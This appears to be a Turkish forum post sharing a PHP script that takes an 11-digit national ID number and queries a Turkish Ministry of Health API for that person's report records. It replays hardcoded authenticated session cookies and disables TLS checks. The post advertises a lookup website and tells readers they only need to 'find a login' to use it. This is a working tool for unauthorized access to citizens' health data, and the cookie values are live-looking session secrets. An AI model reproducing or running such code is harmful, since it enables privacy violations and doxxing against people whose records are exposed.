KOD BANA AİT SADECE LOGİN BULSANIZ YETİYO API İÇİN İYİ KULLANIMLAR
WEBSİTE = https://crawllchecker.live
WEBSİTE = https://crawllchecker.live
PHP:
<?php
$tc = isset($_GET['tc']) ? preg_replace('/[^0-9]/', '', $_GET['tc']) : '';
if (empty($tc) || strlen($tc) != 11) {
echo 'yanlıs girdin aptal oc';
exit;
}
$data = array(
"TcKimlik" => $tc,
"HibeListele"=> false
);
$jsonData = json_encode($data);
$cookies = [
"ASP.NET_SessionId=qzj2xsnny10l1hg4exlirn1v",
"SAGLIK0161a01b=013941ea445a5aedccaad5f79ef0dd7d49d16e25d604dd4ad58ef30e3de782bcb0845da1d08dc22c4cacf8d21fafad1fb14969b478",
"SAGLIK017cbe58=013941ea445cd322a05c0594a54f0afa3b3f3b852336d429fad1e0957609ca0b9e1c0670121a928f8f2ec3e4841f434069d6aee3ec",
"SAGLIK018ee593=013941ea444d7d6aacb65a65e40113202804bde142df2743b0c1992da097e15742be657056e195b8f6447810aef1941424a95ccf1e",
"SAGLIK01a554c7=013941ea44e51e9a7bb0fa25c7c9f087972df66fde65f6a80aa1761a9873c8c454b08a0e90e55d87b98fc8c8056bc08a174f963acd",
"SAGLIK01db181d=013941ea4430b6faeb9121eb28f6c7776c38d181e6d921e656f8146411b4cb8f87d544e503882fc8d4f5c81ffc7a46ed06fa32de41",
"SAGLIK018eda96=013941ea44a55c661f1407374f6cf00bbdd59618f3988d73dd64d0acc0a3ee90d987edf04c522993f4323cd48abf50da4c69ac1333",
"SAGLIK01a28c5a=013941ea44b2c0d5cdef5f9650af51b019c22a9e2a9f78af36bfdb10d95bf93916192ebb6772bf30604cdcbd3a252b77dc063ee88b",
"_ga=GA1.3.624592806.1763239597",
"_ga_NP6RE0WQ7S=GS2.1.s1763239596.o1.g1.t1763241036.j58.l0.h0",
"_ga_R4W7WR39W2=GS2.1.s1764088545.o1.g0.t1764088546.j59.l0.h0",
"_ga_TFBPZ81Q04=GS2.1.s1763289309.o1.g1.t1763289318.j51.l0.h0",
"_ga_VXN9W2LM37=GS2.1.s1763289310.o1.g0.t1763289318.j52.l0.h1609400251",
"_ga_R9L1YNL3XG=GS2.1.s1764088519.o2.g0.t1764088522.j57.l0.h0",
"_ga_0CZK0E3VF8=GS2.1.s1764088704.o1.g0.t1764088706.j58.l0.h0",
"_ga_CTK8KE13KP=GS2.1.s1764088766.o1.g0.t1764088767.j59.l0.h0",
"_ga_SKR06P759F=GS2.3.s1764088782.o1.g0.t1764088782.j60.l0.h0",
"__rlwcid=707ef971-44cc-44ed-a166-2031008555e5",
".AspNetCore.Antiforgery.UfZMCgcCDBY=CfDJ8HW5n-R9FnZOsjquIqxjIh1p1G4i_JWq5TYASK2uKk0gZ35Tyr7i2dTyxw3bgz7cJQY7Ph-WlyYTBxbsJFLgshY65ewOFz_d2v6i0wc15ECJ36lEaPM-v2GyIdQ0bSOORszuARrVD1I-H1nmHJr9_V0"
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => "https://ats.saglik.gov.tr/api/rapor/uygulamasorguladetay",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $jsonData,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_COOKIE => implode('; ', $cookies),
CURLOPT_HTTPHEADER => [
'Host: ats.saglik.gov.tr',
'Connection: keep-alive',
'Content-Type: application/json; charset=utf-8',
'Content-Length: ' . strlen($jsonData),
'Accept: application/json, text/plain, */*',
'Cache-Control: no-cache',
'Pragma: no-cache',
'Expires: -1',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0',
'Sec-CH-UA: "Chromium";v="140", "Not=A?Brand";v="24", "Opera GX";v="124"',
'Sec-CH-UA-Mobile: ?0',
'Sec-CH-UA-Platform: "Windows"',
'Sec-Fetch-Dest: empty',
'Sec-Fetch-Mode: cors',
'Sec-Fetch-Site: same-origin',
'Accept-Encoding: gzip, deflate, br, zstd',
'Accept-Language: tr,en-US;q=0.9,en;q=0.8,id;q=0.7,pt-BR;q=0.6,pt;q=0.5,zh-CN;q=0.4,zh;q=0.3,fr;q=0.2,es;q=0.1,de;q=0.1,ru;q=0.1,vi;q=0.1,zh-TW;q=0.1,ja;q=0.1,it;q=0.1,ar;q=0.1,hu;q=0.1',
'Referer: https://ats.saglik.gov.tr/',
'Origin: https://ats.saglik.gov.tr'
],
CURLOPT_REFERER => 'https://ats.saglik.gov.tr/',
CURLOPT_ENCODING => 'gzip'
]);
$result = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo 'curl hatası: ' . curl_error($ch);
} else {
echo $result;
}
curl_close($ch);
?>